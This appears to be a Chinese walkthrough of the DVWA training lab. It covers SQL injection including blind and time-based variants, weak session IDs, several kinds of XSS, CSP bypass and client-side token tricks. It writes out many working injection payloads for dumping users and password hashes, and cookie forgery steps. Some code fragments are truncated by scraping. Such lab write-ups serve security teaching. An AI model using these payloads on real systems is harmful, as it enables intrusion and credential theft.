' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);

打开输入1

DVWA靶场_第68张图片

bp抓包

DVWA靶场_第69张图片

输入1 or 1 = 1

DVWA靶场_第70张图片

数字型漏洞

输入1 order by 1

DVWA靶场_第71张图片

 输入1 order by 2

DVWA靶场_第72张图片

  输入1 order by 3

 显示错误

数据库字段数为2

查询数据库

输入1 union select version(),database()#

DVWA靶场_第73张图片

 数据库版本为5.7.26

数据库名字为dvwa

1 union select 1,2 #

查询数据库的表

输入1 union select 1,table_name from information_schema.tables where table_schema=(select database()) # 

查询表users中的字段

输入

1 union select 1,group_concat(column_name) from information_schema.columns where

table_name=0x7573657273

查找数据

1 union select group_concat(user),group_concat(password)from users #

high

Something went wrong.
' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

输入,都不用抓包

1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

DVWA靶场_第74张图片

impossible

prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>

PDO预处理

 SQL Injection (Blind)盲注

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

SQL盲注流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

DVWA靶场_第75张图片

Low

 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

一.判断是否存在注入,注入的类型

1.输入1

2.输入'

3.输入1 and 1=1#

4.输入1 and 1=2#

5.输入1' and 1=1#

6.输入1' and 1=2#

由5和6构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注漏洞

二猜解当前数据库名称

数据库名称的属性:字符长度,字符组成的元素(字母/数字/下划线/...)&元素的位置(首位/第2位/.../末位)

1.判断数据库名称的长度(二分法思维)

输入1' and length(database())>10 #

输入1' and length(database())>5 #

 输入1' and length(database())>3 #

 输入1' and length(database())=4 #

 当前所连接数据库名称的长度=4

2.判断数据库名称的字符组成元素

此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCLL码,与对应的ASCLL码值比较大小,找到比值相同时的字符,然后各个击破。

输入1' and ascii(substr(database(),1,1))>88 #

DVWA靶场_第76张图片

输入1' and ascii(substr(database(),1,1))>105 #

 输入1' and ascii(substr(database(),1,1))>96 #

  输入1' and ascii(substr(database(),1,1))>100 #

   输入1' and ascii(substr(database(),1,1))>98 #

 输入1' and ascii(substr(database(),1,1))=99 #

 输入1' and ascii(substr(database(),1,1))=100 #

 数据库名称的首位字符对应的ASCLL码为100,查询是d

类似以上操作,分别猜解第2/3/4位元素的字符:

 输入1' and ascii(substr(database(),2,1))>88 #

 第二位字符为v

输入1' and ascii(substr(database(),3,1))>88 #

  第三位字符为w

输入1' and ascii(substr(database(),4,1))>88 #

  第三位字符为a

从而获得到当前连接数据库的名称为:dvwa

3.猜解数据库中的表名

数据表属性:指定数据库下表的个数,每个表的名称(表名长度,表名组成长度)

1.猜解表的个数

输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>10 #

 输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>5 #

 输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>2 #

 输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())=2 #

dvwa数据库中表的个数=2

2.猜解表名

 输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #

 输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #

 输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #

 输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

dvwa数据库中第1个表的名称字符长度=9

3.表名称的字符组成

依次取出dvwa数据库第1个表的第1/2/.../9个字符分别猜解

输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #

 输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 #

 输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 #

  输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 #

 输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #

 输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 #

 输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

dvwa数据库中第1个表的第一个字符的ASCLL码=103,对应的字符为g

依次猜解出其他位置的字符分别为:u,e,s,t,b,o,o,k

从而dvwa数据库第1个表的名称为guestbook

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #

...

猜解出dvwa数据库第2个表的名称为:users

4.猜解表中的字段名

表中的字段名属性:表中的字段数目,某个字段名的字符长度,字段的字符组成及位置,某个字段名全名匹配

1.猜解users表中的字段数目

 输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>10 #

DVWA靶场_第77张图片

 输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>5 #

 输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>8 #

 输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')=8#

 dvwa库的users表中有8个字段

2.猜解users表中的各个字段的名称

输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='username')=1 #

 输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='user_name')=1 #

  输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='u_name')=1 #

  输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='uname')=1 #

输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='user')=1 #

DVWA靶场_第78张图片

 users表中存在字段user

 输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='password')=1 #

DVWA靶场_第79张图片

 users表中存在字段password

5.获取表中的字段值

1.用户名的字段值

1' and length(substr((select user from users limit 0,1),1))>10 #

1' and length(substr((select user from users limit 0,1),1))>5 #

1' and length(substr((select user from users limit 0,1),1))>3 #

1' and length(substr((select user from users limit 0,1),1))=4 #

1' and length(substr((select user from users limit 0,1),1))=5 #

 user字段中第1个字段值的字符长度=5

2.密码的字段值

1' and length(substr((select password from users limit 0,1),1))>10 #

1' and length(substr((select password from users limit 0,1),1))>20 #

1' and length(substr((select password from users limit 0,1),1))>40 #

DVWA靶场_第80张图片

1' and length(substr((select password from users limit 0,1),1))>30 #

1' and length(substr((select password from users limit 0,1),1))>35 #

DVWA靶场_第81张图片

 1' and length(substr((select password from users limit 0,1),1))>33 #

DVWA靶场_第82张图片

1' and length(substr((select password from users limit 0,1),1))=32 #

password字段中第1个字段值的字符长度=32

输入1' and substr((select user from users limit 0,1),1)='admin'#

1' and (select count(*)from users where user='admin')=1#

DVWA靶场_第83张图片

输入1' and (select count(*)from users where user='admin123')=1#

DVWA靶场_第84张图片

输入1' and (select count(*)from users where user='root')=1#

DVWA靶场_第85张图片

user字段的第1组取值为admin

输入1' and (select count(*)from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1#

DVWA靶场_第86张图片

输入1' and (select count(*)from users where user='admin' and password='e10adc3949ba59abbe56e0571201883e')=1#

 user---password字段的第1组取值:admin---password

6.验证字段值的有效性

将以上admin---password填写到登陆界面中,尝试登陆是否成功

登陆成功

DVWA靶场_第87张图片

medium

存在数字型的SQL盲注漏洞

对特殊符号进行了转义处理,所以对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询

如:猜解表中的字段名时,猜解字段名的长度(对字段值users进行16进制转换为0x7573657273)

输入1 and if(length(database())=4,sleep(2),1)#

DVWA靶场_第88张图片

 输入1 and if(length(database())=5,sleep(2),1)#

 输入1 and if(length(database())>10,sleep(2),1)#

 根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s

输入1 and if(ascii(substr(database(),1,1))>88,sleep(2),1)#

DVWA靶场_第89张图片

 输入1 and if(ascii(substr(database(),1,1))>105,sleep(2),1)#

DVWA靶场_第90张图片

输入1 and if(ascii(substr(database(),1,1))>96,sleep(2),1)#

DVWA靶场_第91张图片

输入1 and if(ascii(substr(database(),1,1))>101,sleep(2),1)#

DVWA靶场_第92张图片

输入1 and if(ascii(substr(database(),1,1))>99,sleep(2),1)#

DVWA靶场_第93张图片

输入1 and if(ascii(substr(database(),1,1))=101,sleep(2),1)#

DVWA靶场_第94张图片

输入1 and if(ascii(substr(database(),1,1))=100,sleep(2),1)#

DVWA靶场_第95张图片

 当前连接数据库名称的第1个字符的ASCII码为100,对应字母为d

类似以上操作,分别猜解第2/3/4位元素的字符:

 输入1' and ascii(substr(database(),2,1))>88 #

 第二位字符为v

输入1' and ascii(substr(database(),3,1))>88 #

  第三位字符为w

输入1' and ascii(substr(database(),4,1))>88 #

  第三位字符为a

从而获得到当前连接数据库的名称为:dvwa

DVWA靶场_第96张图片

输入1 and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

DVWA靶场_第97张图片

high

 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'; } else { //返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

high模式和low模式相同

 一.判断是否存在注入,注入的类型

1.输入1

 2.输入'

 3.输入1 and 1=1#

 4.输入1 and 1=2#

5.输入1' and 1=1#

6.输入1' and 1=2#

对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试

impossible

prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '
User ID exists in the database.
'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'; } } } // Generate Anti-CSRF token generateSessionToken(); ?>

l impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入

l 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库

l 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句

l Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

Weak Session IDs(Low)弱会话ID

Low

点Generate,抓包

DVWA靶场_第98张图片

退出用户,再登录,点Generate,抓包

试了八次,每次都是加1,这样的话,dvwaSession为验证用户身份的,就可以通过这种方式来越权

DVWA靶场_第99张图片

DVWA靶场_第100张图片 如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突。

代码cookie产生策略是:在上一个cookie值的基础上加一。当用户访问服务器的时候,Low级别的代码会先检查服务器是否存在名称为"last_session_id"的session,如果存在,取出其值,自加一后赋值给名称为"dvwaSession"的cookie。

http://dvwa/vulnerabilities/weak_id/

dvwaSession=9; PHPSESSID=dkdi2mb2reavnghr49bhois345; security=low

选择cookie提交方式,

提交后发现直接登录dvwa,绕过密码验证:

DVWA靶场_第101张图片

DVWA靶场_第102张图片

medium



点Generate,多抓几个包

 

 使用时间戳在线查询工具就可以伪造啦

https://tool.lu/timestamp/

high



抓包

DVWA靶场_第103张图片

 重放,发现服务器颁发的sessionID

DVWA靶场_第104张图片

复制c4ca4238a0b923820dcc509a6f75849b,使用md5解密

https://www.cmd5.com/

其实就是在Low的级别上md5加密

DVWA靶场_第105张图片

impossible



破解复杂

DOM Based Cross Site Scripting (XSS)DOM型跨站脚本攻击

原理::DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

Dom型XSS常见三种状态:

1.Document.write 在页面上面写内容
2.innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
3.eval 把字符串当代码执行

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

Low

查看源代码,发现没有任何的固定和保护措施

 

直接在URL中输入/xss_d/?default=
DVWA靶场_第106张图片

medium



输入default=#default

DVWA靶场_第107张图片

high

<


输入?default=English#

DVWA靶场_第108张图片

impossible

观察页面源码

if (document.location.href.indexOf(“default=”) >= 0) { var lang = document.location.href.substring(document.location.href.indexOf(“default=”)+8); document.write("" + (lang)+ “”); document.write("----");}

可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。

 Reflected Cross Site Scripting (XSS)

原理:跨站脚本攻击(XSS),使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的

反射型XSS是非持久性、参数型的跨站脚本。代码在Web应用参数中,例如搜索框的反射型XSS。

注意,反射型XSS代码出现在keyword参数中。但是容易被发现,导致很多漏洞提交平台不接收反射型XSS漏洞。

反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中

其实反射型和DOM型的XSS差别主要在于,反射型是会往后台服务器发送请求,而DOM型直接在前端进行解析;两者都是一次性的

Low

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

Hello ' . $_GET[ 'name' ] . '
'; } ?>

输入点击提交,弹窗成功

DVWA靶场_第109张图片

medium

转化为空
    $name = str_replace( '

DVWA靶场_第110张图片

DVWA靶场_第111张图片

 大小写混淆

输入

弹窗成功

DVWA靶场_第112张图片

DVWA靶场_第113张图片

high

Hello ${name}
"; } ?>

可以看到,high级别的代码使用了正则表达式直接把 <*s*c*r*i*p*t  给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,我们的 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在

标签中被打印出来,所以我们插入的语句并不会被执行。
DVWA靶场_第115张图片

Stored Cross Site Scripting (XSS)

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

Low

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close(); } ?>

查看源代码,发现message 有对于 空格的过滤,以及script的删除
name有对于页数字符的过滤

message 的过滤对于sql还有用,对于xss 基本无用
直接写入下面的script就可以绕过

输入

DVWA靶场_第116张图片

medium

标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( ' ,strip_tags函数把只会显示alert(1),但只对Name进行了简单的过滤,因此可以从Name中进行双写绕过或大小写绕过攻击,但Name对字数进行了限制,所以只能抓包再攻击。

Burpsuite抓包改name参数为:

最终弹框

DVWA靶场_第117张图片

或者用双写绕过

 抓包修改name

 DVWA靶场_第118张图片

high

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close(); } ?>

可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成 

我们输入如下的

DVWA靶场_第119张图片

抓包

修改name为

DVWA靶场_第120张图片

impossible

 Content Security Policy (CSP) Bypass

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行

内容安全策略绕过
HTTP Content-Security-Policy(CSP)即内容安全策略,script-src指令指定 JavaScript 的有效来源。这不仅包括直接加载到 "; } $page[ 'body' ] .= '

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

';

从代码中分析,可知,该输入框是信任

https://pastebin.com

访问一下看看

可以在New Paste中写下代码,点击create去创建链接

点击raw形式(原生)来显示,

复制生成的js代码链接

https://pastebin.com/raw/AFm5Ptmkhttps://pastebin.com/raw/aPZQGjAqhttps://pastebin.com/raw/AFm5Ptmk

DVWA靶场_第121张图片

 DVWA靶场_第122张图片

 

medium

:)标记包含与CSP标头中指定的随机数匹配的随机数属性,则允许执行内联脚本或CSS 。随机数应为安全的随机字符串,并且不应重复使用。

# 

?>

    

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

';

 输入

DVWA靶场_第123张图片

 成功弹窗

high

vulnerabilities/csp/source/high.php


    

The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.

1+2+3+4+5=

';

利用callback参数,Post

DVWA靶场_第124张图片DVWA靶场_第125张图片

impossible

JavaScript Attacks

原理:JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

代码审计:中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值

Low


/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
//省略一些函数
。。。
    function generate_token() {
//id为phrase就是input输入框中的值,将该值md5加密后,作为token进行验证
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }
    generate_token();

EOF;
?>

提示输入success

DVWA靶场_第126张图片DVWA靶场_第127张图片

DVWA靶场_第128张图片

 token不正确

查看页面源代码

发现token的值是md5(rot13(phrase))

 https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html

rot13(success)

ebg13(fhpprff)

DVWA靶场_第129张图片

md5(fhpprff)

https://www.107000.com/T-Md5

token的值,就是下面四种情况一个一个试吧

DVWA靶场_第130张图片

 最后试出来是32位小写

38581812B435834EBF84EBCC2C6424D6

抓包

修改前两个参数的值

token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit

 DVWA靶场_第131张图片

medium

vulnerabilities/javascript/source/medium.js
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
setTimeout(function () {
    do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

看代码的逻辑,token为

alert(do_something(“XX”+‘success’+“XX”));

先输入success抓包

DVWA靶场_第132张图片

 修改token的值

 

high

vulnerabilities/javascript/source/high.js关键代码
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

输入框输入

success

在Console执行

token_part_1(“ABCD”, 44)

token_part_2(“XX”)

提交

DVWA靶场_第133张图片

impossible

你可能感兴趣的:(p2p,linq,gnu)